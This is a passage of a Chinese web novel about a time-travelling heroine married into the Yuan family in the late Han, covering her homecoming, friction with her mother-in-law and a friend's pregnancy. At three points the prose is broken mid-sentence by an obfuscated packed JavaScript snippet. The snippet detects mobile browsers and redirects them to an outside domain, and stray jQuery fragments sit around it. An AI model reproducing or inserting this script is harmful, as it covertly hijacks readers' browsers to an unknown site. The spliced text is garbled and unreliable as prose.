但见四壁简古典厚,左右各两扇宽敞的明净窗,一面是青翠松柏,其下设有长案,摆着笔、砚、书卷和水盂;另一面可眺见天光云影,湖波盈盈,窗前有张个可供小憩的卧榻,旁边不乏山水鱼虫的盆景。 季蘅继续往里走,目光扫过及顶书架上的一卷卷竹简,西南角还放了架结实的筠梯,能助她拿到最上层的物件。 “此处幽静,本是赏湖景、观歌舞的地方。是因离咱们院子近,母亲将它归属了我,先前一直空着。”袁熙拿火折子,点了几只蜡烛,边说,“那日见你喜欢鹤,我暗暗记着,闲下吩咐人把这里打扫出来,又想起尧兄说,你平素喜欢看书,所以将其布置成书斋。往后,它就归你了。可还喜欢?” 闻此,季蘅油然而生了些许愧惶,既内疚自己无法回馈等同的爱意,又害怕终有一日会习惯这份好,彻底依赖上袁熙。 “多谢,”她随意拿起一卷书,是东方朔所著的《神异经》,想偷藏住此刻的动容,“你待我真好。” “我费尽心思娶了你,自然就要费尽心思好好待你的。”袁熙走过来,语气温柔,“这些书也是我精挑细选过的,让你兄长帮着相看——不太正经,多是些志怪奇闻。若还想要什么,只管开口,哪怕琅嬛洞府的藏书,上天入地也能给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽不明所以,袁熙搭住她的肩,宽慰道:“曹军虽盛,倒也比不过我军兵多将广,粮草充足。如今公孙瓒已灭,咱们又与乌桓辽东交好,再无后顾之忧。即便南边是块硬骨头,多啃几次总能得手。”他将女子温柔拥入怀中,“放心,你所攀附的是铜墙铁壁,绝不会轻易坍塌的。” 季蘅贴着他坚实宽阔的胸膛,撇过头,没有丝毫感动和浪漫,神情是异常复杂。若非自己了解这段历史,肯定也不相信,势力占优的袁氏会在未来输掉关键的官渡之战。 可惜,她只知结局,却不晓过程中的具体环节,更没有通天的本领去改变什么。 “万一,我是说万一,”她紧紧环住袁熙的腰,“那万一曹操运气好,最后吞并了河北……我们又该如何?” 袁熙不知是有些天真,还是胜券在握:“曹孟德与父帅交情颇深,即便最后兵戎相见了,也不会太为难我等,正如我们不会亏待他的家眷妇孺。” 未来确实没怎么“为难”,单把甄氏当战利品抢了过去。 季蘅抬头看他,眼波流转,露出清纯无辜的神色,问:“你会永远护我周全的,对么?” 如此被心爱之人全身心依赖着,袁熙不禁动容,体内窜起一股酥麻的暖流,他伸手托住美人的脸颊,轻轻摩挲着,却没有立刻回答,而是深吻了下去。 两人映照在屏风上的影子,缠缠绵绵地错叠。此间静谧,只剩鱼水之欢的窸窣声响…… 51.归宁 六月廿六,挂红结彩的甄府大门口,老管事早已恭候多时。 仆役里,就数卢宽最沉不住气,这小子蹲坐在不远处,急切张望着西边那条熙熙攘攘的长街。 他被毒辣的日头晒得两鬓濡湿,连眼皮都快撑不开了,直到接近晌午的时候,才终于盼见那抹浓郁的红,是噌的一声蹦高,朗道:“三朝回门!五娘子回鸾喽!” 如同首尾连贯的游鱼,相当阔绰的仪仗正浩浩荡荡压过来。不少百姓也凑在街道两边,引颈翘首地看热闹。 等赤甲护卫簇拥的丹辇停稳后,周管家左右使了眼色。几名小仆立马领命,站在石兽旁敲锣打鼓,一时乐响掀天,铿锵顿挫。 此时,袖坐于前庭、闭目假寐的甄尧,自然也听见了这动静,他不慌不忙地睁眼,起身纳履,整理衣冠,待会儿奉迎贵客,单从面上看,必须维持住一家之主的风范。 而内院的前门,他的夫人还在等消息,薛婉紧攥巾帕,时不时围着檐柱踱步,显得格外焦急。 随侍在旁的丫鬟引棠不由打趣:“您这样看重,莫不是在候着哪位皇亲国戚?仔细晒久了日头,沁出汗来。” “皇亲国戚?可不是嘛。”薛婉故意冷哼了一声,挺了挺脖子,“私下谁敢不认,这河北的土皇帝到底姓甚名谁!” 自打甄袁两家定下这门亲事,她在邺城的贵妇人堆里,便算扬眉吐气了,各个遇见了,不说多阿谀奉承,那至少也得持有三分的敬意。 引棠笑了笑,感慨:“五娘子确实命好,往后必定尽享尊荣。” “夫贵妻荣,小妹自是最有福气的。”薛婉点头,“咱们也捎带着沾了光,所以啊,今日归宁,万万不可怠慢。” 话音刚落,外边就有动静了。丫鬟观杏匆匆跑来报信:“来了,来了!五娘子同袁姑婿回门了!” 闻此,薛婉晃着她那一整套华贵的金玉首饰,不由喜笑颜开,后又谨慎地提了口气:“快,再去知会霍夫人,可以备宴了,先上些香茶瓜果垫垫肚子。” 从送嫁到回门,也不过三日,可境况已然完全不同。 季蘅总觉着,大家看自己的眼神都变得不一样了,她有些别扭,欢喜不由少了小半,但忽略掉这些,又能与母亲嫂嫂相处,比在袁家,心里还是舒坦的。 “家无常礼,快快起来。”辉恩堂里,甄母张氏笑得合不拢嘴,细细打量着请安的孩儿,尤其是那位尊贵的五女婿。 只见他有条不紊地行礼问安:“今日临行前,家母多嘱咐了些言语,故而耽误迟了。” 季蘅不免忆起今早刘氏那副怄气的嘴脸,对夫妻俩欲留宿甄家的安排颇为不满,上来就是好一顿含沙射影的敲打。初为人媳的她却不惧这个,虽是恭恭敬敬的样子,私地依然我行我素,以她的脾性,绝不会对一个认识没几天且口碑不佳的所谓长辈,言听计从的。 “无碍无碍,受邺侯夫人惦念,该是我家的福份。” 哪怕已经成了长辈、姻亲,甄家人对袁熙仍保有一种敬畏的讨好。也对,区区婚约搭建的脆弱关系,如何跃得过兵权下的尊卑之分。 他继续温和笑道:“我夫妇二人,备了些俗物,还望外姑不弃,愿您永葆康健,顺遂无虞。” 闻此,季蘅不由斜过眼,与袁熙的目光短暂交汇,笑了笑,她没有立即随夫君入座,而是直接依偎到母亲身边,小声撒娇道:“女儿想您了。” “愈发忘了规矩!让姑婿瞧着,你不羞人?” 袁熙倒很知趣,笑道:“家无常礼,外姑说得是。” 嘴上虽叱责,张氏却用力搂紧了女儿,顿时涌入心田的酸涩,湿润了眼眶,让她难以自持,不由举起衣袖拭泪。 “好端端的,母亲怎么哭了?” “想你那四个姐姐,当年也是这般年纪出嫁,如今却与我骨肉分离,多年不曾相见……” 闻此,霍逦忙宽慰:“远归远,好在四位娘子皆遇良人,所托非富即贵。等咱们袁大将军扫清四海,复归天下太平,岂无阖家团圆之时?到底还是五娘子最有福。今日归宁,您可得高高兴兴的。” 季蘅抽出帕子,轻轻拂过张氏的面颊,撒娇道:“阿母莫伤心,众位姐姐每寄家书,总要殷切叮嘱孩儿,务必替她们恪尽孝道。我自当铭记,往后多多归省,以伴阿母膝下。” 千哄万哄,张氏终于止了伤感,笑道:“哪里舍得让你这个心肝儿来去辛苦,只要在袁家少惹祸,为母便谢天谢地了!” 众人一阵哄笑,再不聊伤心事。 请完安,午膳也预备上了,自家人先“简单”填填肚子,待到黄昏时候,才是宴请亲族的大餐。 之后,霍逦伺候张氏去午歇,甄尧与袁熙留在前厅喝茶闲话,季蘅则被两位嫂子陪着回了原本的闺房。 “回了娘家,按俗礼,妹婿便不能与你同房,我已经让丫鬟收拾好了耦闲轩作甥馆,他呢,以前也在那儿歇过的,该是习惯些。离你这里虽然远,但有志者事竟成嘛,若真想见面,多走几步路也不难。” “远点好。”季蘅其实很满意这个安排,笑说,“我就常怀念一个人住的时候,想怎么躺着、坐着、卧着都成,随心所欲的。” “如今都嫁人了,还是昨前那副小孩心性。你在袁府,也这么跟邺侯、夫人他们说话的?” “我又不傻,分得清好赖亲疏,对你们与对外人自然是不一样的。”她佯作叹气,“连续起了这几日的大早,瞧,眼珠子都疲黯了。” 薛婉却没想怜香惜玉,只奚落地点了下她额头:“哟,原是嫩草怕霜霜怕日,恶人自有恶人磨。” “袁家人可有刁难欺负你?”邓端关切问,“我瞧着,弥儿确实清瘦不少。” “欺负倒算不上,我只是不太习惯,嫂嫂放心,”季蘅笑说,“便是真的有人欺负我了,那我岂是吃素的,也得欺负回去。” “休说什么欺负不欺负的,我听了都害怕。” 三人百无禁忌地说笑着高兴,踏进了集芳馆。此行随季蘅归宁的丫鬟,是缦双和细宝,她俩正在收拾屋子。 “住惯了袁府的雕栏玉砌,你们几个怕不会嫌这寒碜罢?” 听到薛夫人尖锐的打趣之语,向来不拘的细宝笑嘻嘻应道:“您不晓得,这才几天啊,娘子就同我们念叨多回了,是什么金窝银窝不如自己的狗窝。” “什么胡话,还狗窝呢,”薛婉笑着剜了她一眼,“你们也惯随娘子胡闹,嘴上没点浆糊,尽漏着风。” “这回了自家府上,奴婢一时失察……” “细宝!你去帮我把那只红绸缎的包袱取来,上面绣着麒麟纹的。”生怕再聊起什么不中听的,季蘅连忙找了个新话头,请薛婉坐下,“我这给阿渠、景湛、嫂嫂们,还有大伙儿都带了些小玩意。准备得仓促,您过目了可不许嫌弃。” “你这是什么话?谦虚过了头可就算恶意卖弄了。”薛婉揶揄,“谁不知道满河北最好的东西都进了邺城,而邺城里最好的,都进了你们袁府。我哪里配嫌弃?” 季蘅吁咈,盯着缦双正好奉上的茶点,笑道:“我反而觉得咱家比袁府好太多了。” 薛婉却纠正:“那袁府也是你的家!” 闻此,季蘅有些别扭了,不太想继续接话,于是命细宝跪坐在榻边,打开包袱,她从那堆东西里,选了红木盒子,装着颗硕大的夜明珠,说:“这玩意若趁夜来看,幽幽似月光般,一点儿也不刺眼,再裹层布,悬在孩子的摇篮之上,夜里能安稳些。” “这倒是个稀罕的好东西。先替渠女多谢她小姑姑了。” “嗯。我当人家姑母的,自然要用心对她好了。否则我又能对谁掏心掏肺呢。” 薛婉亦笑道:“晚些时候等孩子睡醒了,再亲自带来问安。她已经会走路,喊姑姑了!” 季蘅不由感慨:“这日子过得可真快,转眼,阿渠都过周岁了。” “可不是嘛,周岁试儿,渠丫头竟只抓了一颗枣。恐以后也没什么出息,我更不指望。不过人家说,这是有口福。也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14353984|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对,有你这个小姑姑在,她想必生来就是沾光享福的。” “怎么,还想赖我几辈子了?” “何止赖上你,”薛婉意味深长地盯着季蘅平坦的小腹,蛾眉轻扬,“往后更得跟未来的表弟表妹们打好关系。” 眼下的玩笑话,多年后便会一语成谶了。季蘅是最清楚的。 她的孩子虽然现在还没影呢,可姓名、命运和结局却已经写在了史书里,似乎很难改变。 也正如薛婉所期待的一样,历史上的甄家等到二十多年后,又将满门显贵,步入鼎盛;终于大权在握的魏明帝曹叡,对他的舅族确实好得没话说。树欲静而风不止,子欲养而亲不待。仿佛只有从那些僭越的封赏中,才能弥补一个孩子依恋过世母亲的可怜真心。 命运,最喜捉弄人。 比如穿越之前,季蘅私心属于季汉阵营,而且对三国后期兴致缺缺;穿越之后的某天,她忽然反应过来,诸葛亮的五次北伐,原来都是在针对自己未来的儿子?! 想到这,季蘅未免有些想笑,显然,她对这个目前并不存在的“好大儿”还没什么感情,甚至非常害怕他的到来。 偶尔还会没心没肺地戏谑:算逑,横竖最后都要被司马家窃取胜利果实的,臭崽子,要不还是直接投了吧,做个慈善,圆丞相一个“还于旧都”的美梦…… 瞧见缦双呈上了茶点,季蘅不由回过神,没再去想那些遥不可及的荒唐事,只吩咐:“还有个绣莲纹的惨紫包袱,装了些笔墨,是送给景湛和孟觉苦的。我还有话嘱咐湛儿呢,切不可懒惰怠荒学业。” “好,等晚些时候下学了,你当面说给他听。湛儿也十分想念你。”邓端笑说。 除此之外,还给府中女眷准备了些珍贵补品,是邺侯夫人常喝的那几类,千金难求。 闻此,薛婉幽幽抬眼,停滞了吹茶的动作:“你很念着孟家侄儿?” 对方倒坦荡:“投桃报李嘛,我俩一直是不错的朋友。” “可真不巧了,那厮如今不在甄府。” “他去哪儿了?”季蘅忙问,并脱口抱怨了句,“好没义气啊,出远门竟都不托人跟我招呼一声。” “你如今贵为袁氏新妇,他又是什么人,也配与你招呼?”薛婉显然不太喜欢孟觉苦,态度甚凉薄,“况且,府上一个随便的仆子而已,我怎晓得,该问你兄长去。” 至于哥哥甄尧,现下正陪着新妹夫往耦闲轩安置。 袁熙也似乎有话要问,等伺候的奴婢都遣远了,装作不经意地试探:“我隐约记得,尧兄身边好像还有个年纪不小的书僮?他如今在何处,唤来我瞧瞧。” 甄尧攒颦:“将军想看什么书?下臣立马亲自去取。” “你早知我心思,莫在这故意装糊涂。” 他忍住没笑出声,这才说:“哦,忽然有些明白了,只是揣测。” “少卖傻,我问的就是孟觉苦!” “真是不太巧,前几日我让他回毋极老家经办些琐细,难说回程。” 闻此,袁熙竟有些许宽心,缓缓道:“瞧他年纪也不小了,若此行办得妥当,便赏其一婢,促之成家,也算积德胜事。” 甄尧笑而不语,只附和般点了点头。 这一整个下午,他甄府门口的热闹便没断过,来了不少亲戚外客。 俶月今日自然也随其祖母廖氏过来吃席,这个年纪的小女娘总长得很快,个头如雨后春笋一般,经常发现袖子紧了短了,时不时就要新量身段。 样样都变,唯独她那羞涩的性子不曾改过,一直静静依偎在廖老太身边,不吵不闹不哭不笑的,或许正努力与空气融于一体。 等到想念的漂亮堂姊终于露面了,小丫头才恢复些兴致,不过也扭捏着不敢凑上前,只偷偷瞧人家。 却没想到,季蘅还记得她,甚至给她也带了小礼物,一个风筝形状的宝石坠子。 俶月欢欣却怕羞,最后趁大家不注意,才跑到季蘅身边,附耳道了句喜欢。 52.任性 季蘅本打算在娘家多赖几日的,可惜事与愿违,她才孤枕了一晚,翌日早晨,袁府那边就直接遣来了瞿姑姑拜上,表面殷勤说请安关照,实则为催人回府。 如此迫不及待,想必是看准了甄家如今失势好拿捏,演一出君姑敲打新妇的俗套戏码。 张老夫人再不舍,也恪遵了大半辈子的礼法,难做出逾矩的事,只待瞿妙兰接下赏银,欢喜告退后,才私下对小女儿婉言——万事最忌过犹不及,休要恃宠生骄,令新房久空。 可季蘅的脾气向来够倔,越遭拦阻,越想反其道而行之。 她盯着几案上的那盘木瓜,没什么胃口,听完母亲的劝告,有些傲慢地扬了扬眉毛,添油加醋道:“记得吕姑姑从前教过女儿,新妇归宁要在娘家住满七日才算吉利……何况,嫂嫂她们省亲,皆是想住几日便住几日的。怎的如今到我这,就有所不同了?” 张氏继续语重心长道:“儿啊,你既已嫁给袁熙,就该守着他们家的规矩!别又胡闹不懂事了!” “即便瞿姑姑话中有话,却未真正摆明,女儿若是装傻,没有听懂其中意思,她们又能何如?” 话音刚落,在旁的霍逦先笑了,同哑言的张氏相望后,也开口谆谆劝告:“五娘子,如今已嫁作人妇,莫再说稚拙的孩子话了。咱两家同在邺县,离着也近,常走动就成,见面亦不难。你若为此事,招惹了邺侯夫人不快,岂非得不偿失?” 季蘅明白,但并未被这些话唬住,哪怕刘氏气量狭小是人尽皆知的,她却不怎么忌惮。 掐指一算,官渡之战应当是从明年正式开始的,袁氏这束熊熊燃烧的燎原烈火,很快就要变成风中残烛,一吹即灭了。至于失去老虎傍护的狐狸,还能作威作福多久? 她微张了张嘴,很想一股脑儿把话埋怨完,但又怕不被顽固死板的长辈理解,思索了片刻,放弃反驳,只佯作同意,黄昏就走。 当下日头正烈,烤得人精神倦怠。 用完膳,季蘅由丫鬟搀回集芳馆午歇,一行走在游廊间时,她望着两边蔫蔫的草木,眼皮一耷,忽道:“这天真热啊,我有些口渴。”话罢,朝身旁的缦双使了个眼色。 缦双是何等的默契聪慧,很快领悟其意,笑答:“还未出伏,娘子当心暑气袭人。奴婢去厨房给您盛碗冬瓜薏仁汤。” 季蘅微颔首,并摇了摇手中的纨扇,没再说话。 后晌,袁熙与甄尧还在西郊巡营,快结束的时候,见成禄来报,说是天气湿热,五娘子中了暍症。 一听爱妻有恙,袁熙已然心急如焚,管不了许多,火急火燎纵马赶回甄府。 甄尧倒不太着急,是若有所思。但踏足集芳馆之前,他意外拉住袁熙,交代了些小话。 晷影西斜,细宝正坐在院中的树荫下煎药,手边还搁了碗碎冰,她一边嚼冰块解热,一边盯着慢吞吞的文火,似乎并不上心。 “夫人怎么了?” 长廊尽头,袁熙匆匆赶来,仓庚忙不迭跟在身后。 缦双边引路,边答话:“这几日暑气旺,娘子奔波劳碌,又贪嘴食多了羊肉,说是湿热内盛,所幸只是小疾,并无大碍,用上冰后,便已退热,现下正在房中歇息。” 细宝远远瞥见姑婿来了,连忙把扇子丢在石案上,遮住盛冰的碗。夏日里就数这玩意最珍贵,寻常人家哪能用上,是因娘子体贴她煎药辛苦,大方犒赏了一块。她闭紧嘴巴,强忍那股冰爽透骨的凉意,艰难起身微蹲,行了个福礼。 瞧着袁熙焦急进了屋,仓庚也知趣地止步檐下,与缦双一起守在门前头。 室内摆了冰块,点了龙脑香,十分清凉。绕过屏风,见穿单薄衾衣的季蘅刚睡醒,轻轻摇着扇,正伏枕看书,榻边放着喝了大半的金银花茶。 此状,袁熙才彻底相信甄尧的猜测,有些无奈笑了笑,也松了口气:“听说有人病了?”他将左手放进木盆里浸了片刻。 季蘅不声不响地翻了个身,侧脸贴在玉枕上,略心虚地看向他,声音细软:“你怎么来了?” 这精神抖擞、舒舒服服的模样,哪里像中暑的人,倒是袁熙自己,因为赶路,搞得汗流浃背。 他走近些,抬起握完碎冰的左手,甩干了水,再默默探向季蘅后颈。 果然,季蘅惊出声,还被冰得缩了一下,睁开眼,气势汹汹地瞪他。 袁熙沿榻坐下,笑了笑:“好像已经不烫了?” “你的错觉。” “那我替你多请几位医工,以针挑痧?” 既被识破,季蘅便坐起身,坦白道:“我确实不太松泛,不想这么早就回袁府。” “倒也不能连着热伤风多日吧,可就算是大病了。” “能多佘一天是一天。大人着急催我们回去,可我偏不想事事依他们,显得我像个草包,任谁都好拿捏。” 袁熙总觉得自家夫人像朵扎手的蔷薇,饶有趣味地反问:“你怕她不怕?” “有点儿,”季蘅不由陪笑,故意讨好,“但有你护着,我就不太怕。” 袁熙确实很吃这套,目光扫过夫人周身,久未与之亲热,心里怪闷痒的,欲将她揽至怀中。 “汗臭,”季蘅却不解风情地伸手推开,“回你自己房里洗去。” 他只能露出一副乖巧忍耐的表情,承诺:“之前就答应过你,想归宁几日都行,我向来说话作准。你也无需装病了,袁府那边只管交给我应付。” 这人是早被美貌迷昏了眼的,对妻子几乎宽容到千依百顺的地步。 季蘅感激他,却难抵消他的母亲所带来的不快。 都说新婚三日无大小,季蘅进袁府的头三天却遭了刘氏煞费苦心地立规矩——君姑看在亲儿面上,自然不会太为难新妇,但少不了活现杀鸡儆猴的戏码。 近的就昨儿晌午侍膳,一小婢忙急没留意脚底,绊了门槛,打了个趔趄,幸而有惊无险,只弄出些许动静,手里端的瓦钵完好,连汤都没洒漏半滴。 偏凑巧让刘氏瞧见,顷刻沉了脸色:“莽莽撞撞的,你当是死人,紧赶着投胎哪,莫非外面还有鬼差咬你脚背撵蹿?” 小婢吓得立地痴挣,瞿妙兰忙接过那党参鸽子汤,边说:“新来的厨婢,不懂规矩。阿鹫,快跪下受女君教益。” “奴婢第一回当差上膳,腿软瞎了眼睛,还望女君宽恕。” 刘氏瞅了她一眼,轻飘飘道:“杖笞二十,尤其对着这妮子的髀髋。” “女君饶命!女君饶命啊……” 很快,两个健壮凶狠的刁婆进了屋,拿下正在痛哭流涕、以头抢地的阿鹫。 十二三岁的小姑娘,二十杖下去,定是血肉模糊,不死也要残废。 “且慢!”季蘅忍不住承头相劝,“君姑,便是二十杖,也未必能治好粗枝大叶的毛病,她既这样不稳重,怎好继续留在您身边伺候。二郎把景明院后边的花圃都交由儿妇打理,近来正缺干苦力的,不若就将此女赏给儿妇,让她帮着挖泥松土什么的,也能沉沉性子。” 在旁的文悫君大约听出些端倪,笑了笑,故意尖酸道:“哟,娣妇嫁进袁府才几天啊,就敢向君姑讨这个要那个的,可见得势,我就没有这样的好福气 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季蘅实在看不惯刘氏随意打骂下仆的行为,归宁见到如沐春风的甄家长辈,相形见绌,更不想回去了。不过,她也并非真的要住满七日,只是不想让君姑太如意,也借机喘口气。 刘氏、袁尚都一样,从小宠惯坏了,压根不把下位者当人对待,若他们尝过被留难轻侮的滋味,如此感同身受,或许对旁的就能少些欺凌、多些善意? 也不急,总归大家伙儿的好日子都没几年了。 逍遥混过三天,季蘅随袁熙回了府,她感觉自己变成了那种晚间八点档里蛊惑丈夫、忤逆公婆的恶毒女配,这可比扮演委曲求全、不争不抢的柔弱小白花痛快多了。 不消想,当时刘氏的嘴脸有多难看,偏遇上个敬酒不吃吃罚酒的媳妇,还惯会装傻,说些软钉子一样的怪气话,似乎刀枪不入。难得今晚家宴邺侯也在,她不好发作,将归宁之事几句搪塞了去。 吃过晚饭,袁家父子自是有要紧的军务相谈。 季蘅便与文大嫂携手退下,寒暄一段路后,回了景明院。沐浴完,换好寝衣,她等着湿发晾干,便坐在窗下弹起白楚夫送的那台筝和曲子。 细宝适时洗好一碟浸过井水的瓜果,不过支支吾吾的,又变戏法儿般送去一样东西。 “这是……”季蘅略疑惑地打开锦袋,发现里头装了块光秃秃的玉,十分眼熟,“孟觉苦的玉玦怎么在你这?” “前些天太忙,奴婢都快忘了,归宁时听您提到孟家侄儿,才慌忙记起,一回府,赶紧翻箱寻出来的。”细宝答,“这个,是他赠予您的新婚贺礼。” “送我的?他倒是很大方,什么都能往外送。”季蘅掂了掂那玩意,表情有些难琢磨,轻声打趣,“却也小气,说送玉,单只有玉,连半根结绳也不给留。” 没成想这东西最后兜兜转转还是落到了自己手里。 “可不是么。不过,瞧着孟侄儿手边也没什么像样的贵重物品,能拿出个不折脸的已算难得。” “他还说了什么没有?” 细宝想了想,点头,又故作正经地清清嗓子,学着复述:“日中则昃,月盈则食,天地盈虚,与时消息①。还望弥娘子往后如此玉玦,万事莫求全。” 万事莫求全。 季蘅摩挲着这佩玉的缺口,似乎感慨万千。 “娘子?”见她发愣半晌,细宝不由唤她,“您怎么了?不喜欢吗?” 季蘅这才摇摇头,将玉玦装回袋子里,冁然道:“这倒提醒我了,人生在世,哪容易事事如意——自然要学着知足,莫求全。” 53.喜讯 出了伏,临近乞巧,日头却依然灼热,常叫人喘不过气。 之前随口所提的崧留山避暑一事,被袁熙为难地推至明年,他最近变忙了,领了督造舟船的公务,开始早出晚归。 说到明年,眼下已至建安四年的秋初,算来离官渡之战也不远了,他们还能有几个明年可以共度呢…… 季蘅暗自苦笑,将这份淡淡的惆怅隐进了心底,这会子她正坐在镜台前梳妆打扮,身旁的缦双贴心地用刨花水帮自己篦头。 “想必邺侯打定南征了?” “许是吧。”袁熙喝完那碗肉羹早膳,准备出门了,“十常侍之乱才过去多久,又来了个宦官之胤把持朝政,父帅他早就看不过眼了。” 盘面上,袁家现今虎踞四州,兵多粮足,北方暂无后忧患,自然是要南下逐鹿的。何况袁术临死之前寄出的那封欲让帝号的信,属实撩拨了其兄统一天下的野心。 常言道,三千功易满,八百行难圆。面对滚滚而来的历史车轮,季蘅不敢妄想,倒也意外洒脱。 如今在袁府的日子算不上太称心如意,但也不差,除了刘氏偶尔找些小茬儿,其余女眷都待她都很客气,最重要的是衣食性命皆无忧。 袁熙近来没时间相陪,季蘅也不让自己闲着,欲待今日出门,去高府拜访。是因密友间的私下走动,不宜太张扬,故而裳裙择的软碧色,简单打理了个清丽淡雅的妆发。 自从出嫁后,她就没再见过善印的面,算来虽不过小半月,却实在想念得紧。 如今出府还得请示话不投机的女君刘氏,她无法,只得硬着头皮受完些冷眼和讥诮,才艰难拿到一个应许。 “阿善!” “弥儿妹妹!” 后晌,善印被乌泱泱一群丫头婆子围拥在高府前厅的廊檐下,欢喜伸出了手。 “终于肯降光寒舍了。” 两人互相端详着,可不必屈膝见礼,直接亲昵地往屋内走去。 “我若不来,哪能见到你?”季蘅不住打趣,“如今连你也学会推脱了。” “怎么这样说?” “来前,文大嫂特意找到我,说她下的七夕宴帖子,被高府以少夫人身体不适为由给拒了。又碰见我今日要登门拜访高府,托我顺便问问,既还能接人待物,怎就不肯领她的情了?” “我的身子近来确实不爽……”善印忙解释,“愿意见你,那是因为咱俩亲密,关系不一般,旁人自然比不得——怎好叫文夫人她误会吃心了!” “大嫂向来直率,你也清楚的。那些话,是以玩笑讥诮,并非真的介怀。”季蘅伸手托了托对方愈发的圆润下巴,那张脸似乎胖了一圈,“可我瞧你红光满面的模样,哪里像是卧病了?没有舅姑在侧,日子果然比我舒坦得多。” 闻此,善印飘忽了神色,卖关子道:“若放在以前,我的确很爱凑热闹。”她牵过季蘅的手,轻轻摸向自己宽松衣袍下微凸的小腹。 季蘅在这种事上颇为迟钝,只笑道:“午膳吃的什么好东西啊,叫你胃口大开了?也让我尝尝。” “你这个笨呆鹅,”善印娇嗔了句,“竟比高郎还痴顽!” 闻此,季蘅竟有些咋舌,愣了好一会儿,才反应过来:“这是……有孕了?” 善印沿榻坐下,几分羞赧地点点头:“尚不足三月,就身边人知晓,打算等胎象彻底稳了,再将喜讯公之于众。所以啊,明日的七夕宴,我只能推掉了,往后找机会亲自向文夫人她们送些小礼请罪。” 季蘅小心翼翼地收回了手,表情复杂,好像生怕碰坏什么:“可惜了,我今日偏偏带的是香枕、熏球……凡是沾香料的,你还是别用了……不再加个软垫?你身子重,坐着腰也能舒坦些。” “瞧你,平白紧张个什么劲儿,比我阿母还反应大,且早着呢!” “回头我请樊阿替你把把脉吧,他是名医华佗的高徒,虽不是专攻妇科,却也多一分放心;挑些上好药材补品,千万要调理好身子,怀孕辛苦,生孩子的时候更是艰难……” “你倒懂得比我多!”善印嘴上笑她絮叨不停,心里其实很欣慰感动。 “我家侄女才过周岁,嫂嫂孕期的辛苦如今仍是历历在目。” “辛苦归辛苦,你当我怀的是这茶盏里的沫饽,一吹就散不成?”她指了指屏风外伺候的柳妈和竹晴、松雪等丫鬟,“我身边都是些老练持重,且信得过的,你呢,快把心放回肚里,就等着几个月后,高高兴兴当长辈了!” 季蘅这才松了些眉头:“是得提早预备大礼。我近来女工渐长,与其寻些冷冰冰的玩意,不若亲手做几套衣裳、鞋袜,更讲心意?” “心意是够足了,可你那粗糙又鲁莽的针脚,岂不要我儿你侄儿一生下来就遭苦受罪?”善印调笑。 “却又小瞧了人!以前我是懒极,轻易不动手,如今练过几回后,手艺都能被我家二嫂夸了。”季蘅不服输地挺直腰板,略显傲气,“再说了,给孩子的礼且放一放,先得准备你的那份,吃了十个月的苦,必须要好好补偿一番,是不是?你要是见了还不喜欢,我便抱着余下的,灰溜溜走掉就是了。” “嗯,说破嘴皮子,就这句还算中听的。” 两人说笑闲话了小半时辰,季蘅不敢多叨扰,将茶喝尽,便起身告辞:“累你陪我坐这许久,快歇息吧,改日有空我再来瞧你——给你带些好玩的好吃的。” 说来很幸运,善印不怎么害喜,胃口也甚好,目前还没有特别不适的。 带着为好友高兴的喜悦,和一半的忧虑忐忑,季蘅回了袁府。她不忘吩咐细宝:“你去回禀文嫂嫂,就说辛大娘子确实身子不妥,七夕宴不宜露面,不过是小疾,也请夫人不要太担心,过些日子给她赔罪;余的再问,只摇头说不知。” 善印的月份还小,不想太早外扬,拜托季蘅替她隐瞒。 “诺。”细宝领了差事,忙不迭跑去衔香院。 文悫君脾气一贯好,倒也不曾真的记仇怪罪:“既然病了,是要好生休养,虽错过了七夕宴可惜,还有中秋嘛。” 闲话交代几句了,最后命丫鬟拿来一小坛菊花酒,交给细宝,笑说,“权当弟妹之前送我蜀锦的回礼了。记得她到我这用过膳,瞧着很是喜欢,连尝了好几杯。这是去岁最后一缸里出来的,今年酿不酿的,需再过个把月了。你等会儿带回去,小心看着点路,千万别失手打碎了。她若还想喝,我这有些,但不多了,最好她亲自过来讨,我一个人闲着,巴不得你们都陪我说说话。” “夫人您放心,奴婢自当宝贝似的捂住,我家娘子她最爱品佳酿了。”细宝答了礼,捧着那坛酒告辞。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376010|149044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >回景明院的路上,经过未央湖附近的假山丛时,有人忽然蹿到后,轻轻拍了她肩膀一下。 “哎哟,吓我一大跳!”细宝惊魂未定,差点就脱手了,她连忙抱紧了酒坛,并瞪圆眼睛,“谁啊,走路都没个声响!” 瑰丽又柔和的万道霞光下,才慢慢看清对方黧黑寝陋的脸—— “姑娘可还记得我?在襄玉坊,谢恩,夏龙雀!” 原来是她啊。 那家伙笑嘻嘻的,恭敬地抱拳作了个揖。 细宝这才捋顺了气,有些无奈:“记得,记得!哎哟,你这张让人……过目不忘的脸,我岂敢轻易忘掉。” 龙雀并不恼,堆满讨好的表情:“听说恩人嫁进咱们袁府,我心里欢喜无极,却一直不得拜见。” “别挂心,我家娘子每年冬都会施粥、拿体己钱送厚衣物,她助过的人啊,叠成队,少说能裹住邺城一大圈。”只为了那出嫁前陈芝麻烂谷子的事,细宝不太想搭理她,继续往前走,却发现人还在后头跟着,不由发问,“你是三公子院里的吧?” “是,随便干些粗活。” “那咱俩也不顺路啊。” 